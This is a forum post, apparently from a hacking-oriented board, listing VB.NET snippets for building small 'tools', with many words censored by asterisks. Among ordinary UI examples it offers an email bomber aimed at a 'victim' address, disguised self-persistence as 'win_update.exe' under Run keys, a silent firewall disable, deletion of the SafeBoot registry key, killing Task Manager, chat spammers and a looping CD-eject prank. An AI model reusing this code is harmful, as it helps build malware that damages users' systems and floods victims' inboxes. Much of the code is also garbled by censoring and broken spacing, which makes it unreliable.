Open a Website:
Code:
Process.Start("
[You must be registered and logged in to see this link.]Process.Start("
[You must be registered and logged in to see this link.]Open something
Code:
****l("Notepad")
****l("Calculator")
Delete a file
Code:
Dim FileToDelete As String
FileToDelete = "C:\File.exe"
If System.IO.File.Exists(FileToDelete) = True Then
System.IO.File.Delete(FileToDelete)
Kill a process
Code:
Dim RunningProcess As System.Diagnostics.Process = Process.GetProcessesByName("taskmgr.exe")(0)
RunningProcess.Kill()
Rename a file
Code:
My.Computer.FileSystem.RenameFile ("C:\Program Files\Mozilla Firefox\firefox.exe", "Anything.exe")
Delete a registry key
Code:
My.Computer.Registry.LocalMachine.DeleteSubKey("HK EY_LOCAL_MACHINE\System\CurrentControlSet\Control\ SafeBoot")
[color=red][[/color]b][[/b]b]
[/b]Create a registry key
Code:
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE", True)
regKey.CreateSubKey("MyApp")
regKey.Close()
**** To Speech:
Code:
Dim sapi
sapi = Create******("sapi.spvoice")
sapi.Speak(****box1.****)
Fade in
Code:
For FadeIn = 0.0 To 1.1 Step 0.1
Me.Opacity = FadeIn
Me.*******()
Threading.Thread.Sleep(100)
Next
Fade out:
Code:
For FadeOut = 90 To 10 Step -10
Me.Opacity = FadeOut / 100
Me.*******()
Threading.Thread.Sleep(50)
Next
Gmail Bomber:
Add a Timer, 5 ****boxes, button
****box1 = Gmail Username
****box2 = Gmail P***word
****box3 = Victim E-mail Address
****box4 = Subject
****box5 = Message
button1.**** = send!
Add on Top Of "Public Cl*** Form1"
Code:
Imports System.Net.Mail
Double Click Button1 and write:
Code:
timer1.start
then Double click Timer1 and write:
Code:
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress(****Box1.****)
MyMailMessage.To.Add(****Box3.****)
MyMailMessage.Subject = (****Box4.****)
MyMailMessage.Body = ****Box5.****
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(****Box1.****, ****Box2.****)
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
MsgBox("Email Has been sent Successfully ")
Info Grabber
Gets OS Name:
Code:
****box1.**** = My.Computer.Info.OSFullName
Gets OS Version & Build Number:
Code:
****box2.**** = My.Computer.Info.OSVersion
Gets Total Physical Memory:
Code:
****box3.**** = My.Computer.Info.TotalPhysicalMemory
Gets Available Physical Memory:
Code:
****box4.**** = My.Computer.Info.AvailablePhysicalMemory
Gets Clipboard ****:
Code:
****box5.**** = My.Computer.Clipboard.Get****
Gets Local Time:
Code:
****box6.**** = My.Computer.Clock.LocalTime
Minimize To Tray
Just Add a Notifyicon
Code:
Private Sub Form1_Resize(ByVal sender As ******, ByVal e As System.EventArgs) Handles Me.Resize
If Me.WindowState = FormWindowState.Minimized Then
Me.Hide()
End If
End Sub
Private Sub NotifyIcon1_MouseClick(ByVal sender As System.******, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseClick
If Me.WindowState = FormWindowState.Minimized Then
Me.Show()
Me.WindowState = FormWindowState.Normal
End If
End Sub
Webbrowser Exampe
Add a Webbrowser
5 buttons
1 combobox
Button1 = Back
Button2 = Forward
Button3 = *******
Button4 = Stop
Button5 = Go!
Button1:
Code:
Webbrowser1.goback
Button2:
Code:
webbrowser1.goforward
Button3:
Code:
webbrowser1.*******
Button4:
Code:
webbrowser1.stop
Button5:
Code:
webbrowser1.navigate(combobox1.****)
Add Music To Your Tool:
First Add your music to Resources
Note: The File Type Of The Music must be .wav
Double Click Button1 (start):
Code:
My.Computer.Audio.Play(My.Resources.song namenowav, AudioPlayMode.BackgroundLoop)
Double Click Button2 (stop)
Code:
My.Computer.Audio.Stop()
Count Files In Folders:
Code:
Dim NOF As Integer
Dim FilePath As String = ****Box1.****
NOF = System.IO.Directory.GetFiles(FilePath).Length
****Box2.**** =NOF.ToString
Google Searcher
Add:
Process
Button
Double Click The Button and Write:
Code:
Private Sub Button1_Click(ByVal sender As System.******, ByVal e As System.EventArgs) Handles Button1.Click
If ****Box1.**** = "" Then
msgbox("WTF ? are u searching for nothing o.0 ?)
Else
Process1.StartInfo.FileName = (" & ****Box1.**** & "&btnG=Search&meta=")
Process1.Start()
End If
End Sub
Case Example
Add:
1 Button
1 ****box
Double Click the Button and write:
Code:
****Box1.**** = Int(Rnd() * 4)
Select Case ****Box1.****
Case 0
****Box1.**** = "anything"
Case 1
****Box1.**** = "p***generator"
Case 2
****Box1.**** = "CD key"
Case 3
****Box1.**** = "strings"
End Select
Login Example:
Add:
1 button
Click The Button and write:
Code:
If ****Box1.**** = "CodeBreaker" _
And ****Box2.**** = "TheEndGamer" Then
MsgBox("Welcome to Bumpbox.net")
Else
MsgBox("Euuhh? do i know u
?")
End If
Xfire Add Friender and status changer (Just an example)
Add:
2 buttons
1 webbrowser
2 ****boxes
Button1.**** = Change Status
Button2.**** = Add Friend
Double Click Button1 and write:
Code:
WebBrowser1.Navigate("xfire:status?****= " & ****Box1.****)
Double Click Button2 and Write:
Code:
WebBrowser1.Navigate("xfire:add_friend?u ser=" & ****Box2.****)
Screen Capture:
You Need a large picturebox
button1 = "Shoot"
Button2 = "Save"
****box1
****box2
Double Click Button1 and write:
Code:
Dim BumpBox As Rectangle
Dim screenshot As System.Drawing.Bitmap
Dim graph As Graphics
BumpBox = Screen.PrimaryScreen.BumpBox
screenshot = New System.Drawing.Bitmap(BumpBox.Width, BumpBox.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb )
graph = Graphics.FromImage(screenshot)
graph.CopyFromScreen(BumpBox.X, BumpBox.Y, 0, 0, BumpBox.Size, CopyPixelOperation.SourceCopy)
PictureBox1.Image = screenshot
Double Click Button2 and write:
Dim savefile As New System.IO.StreamWriter("C:\Users\" + ****Box1.**** + "\********s\" + ****Box2.**** + ".jpg")
savefile.Write(PictureBox1.Image)
savefile.Close()
MsgBox("Pictue Saved ", MsgBoxStyle.Exclamation, "Done!")
Add Your Application To Startup
Before Public Cl*** Form1
Add:
Code:
Imports System.IO
Imports Microsoft.Win32
Now double click form1 and add the following Code:
Code:
Try
If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then
System.IO.File.Copy(System.Reflection.***embly. _
GetExecuting***embly.********, Path.GetTempPath() & "win_update.exe")
End If
Catch ex As Exception
End Try
Try
Dim regKey As RegistryKey
regKey = Registry.CurrentUser.OpenSubKey("software\Microsof t\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()
Catch ex As Exception
End Try
Try
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microso ft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()
Catch ex As Exception
End Try
Picture Viewer:
Add:
1 Button
1 PictureBox
Double Click Button1 and write:
Code:
Try
OpenFileDialog1.Title = "Open Picture"
OpenFileDialog1.FileName = ".jpg"
OpenFileDialog1.hitler = "All Files |*.*" OpenFileDialog1.ShowDialog()
PictureBox1.Image = System.Drawing.Image.FromFile(OpenFileDi alog1.FileName)
Catch ex As Exception
End Try
Chat Spammer
Add:
2 Buttons
1 Timer
Double Click Button1(Start) and write:
Code:
timer1.start
Double Click Button2(Stop) and write:
Code:
timer1.stop
Then... Double Click Timer1 and Write:
Code:
SendKeys.Send(****Box1.****)
SendKeys.Send("{ENTER}")
HotKeyChat Spammer!
Drag a ****box out there follow up with 2 timer's. Change Timer2 to Enabled = True
Add 2 labels and change label1.**** to Start=F1 and label2.**** stop=F2 (or whatever key you choose to use).
Double click timer1 and write:
Code:
SendKeys.Send(****Box1.****)
SendKeys.Send("{ENTER}")
Double click Form1 and write:
Code:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Double click timer2 :
Code:
Dim starthotkey As Boolean
starthotkey = GetAsyncKeyState(Keys.F1)
If starthotkey = True Then
Timer1.Start()
End If
Dim stophotkey As Boolean
stophotkey = GetAsyncKeyState(Keys.F2)
If stophotkey = True Then
Timer1.Stop()
End If
NOTE: you can change GetAsyncKeyState(Keys.
) Ex. Keys.End)
CD-Rom Prank
Code:
Do
Dim oWMP = Create******("WMPlayer.OCX.7")
Dim colCDROMs = oWMP.cdromCollection
If colCDROMs.Count = 1 Then
For i = 0 To colCDROMs.Count - 1
colCDROMs.Item(i).Eject()
Next ' cdrom
End If
Loop
Disable Firewall:
Code:
Dim Bumpbox As Process = New Process
Dim top As String = "netsh.exe"
Bumpbox.StartInfo.Arguments = ("firewall set opmode disable")
Bumpbox.StartInfo.FileName = top
Bumpbox.StartInfo.Use****lExecute = False
Bumpbox.StartInfo.RedirectStandardOutput = True
Bumpbox.StartInfo.CreateNoWindow = True
Bumpbox.Start()
Bumpbox.WaitForExit()
Shutdown Manager:
Shutdown:
Code:
****l("Shutdown -s")
Restart:
Code:
****l("Shutdown -r")
LogOff:
Code:
****l("Shutdown -l")
NOTE. YOU MAY NOT FIND ME SHARING THESE KINDS OF STUFF PUBLICILY AS SOME LEECHERS AND LOSERS CAN ALSO GET IT THEN AND I DO NOT WANT SO. I WILL REQAUEST THOSE WHO WANT ANY KIND OF HELP OR CODING SAMPLE TO PM ME IN THE FORUM OR JUST ADD ME AT [You must be registered and logged in to see this link.]
ENJOOOOY!!!
by 
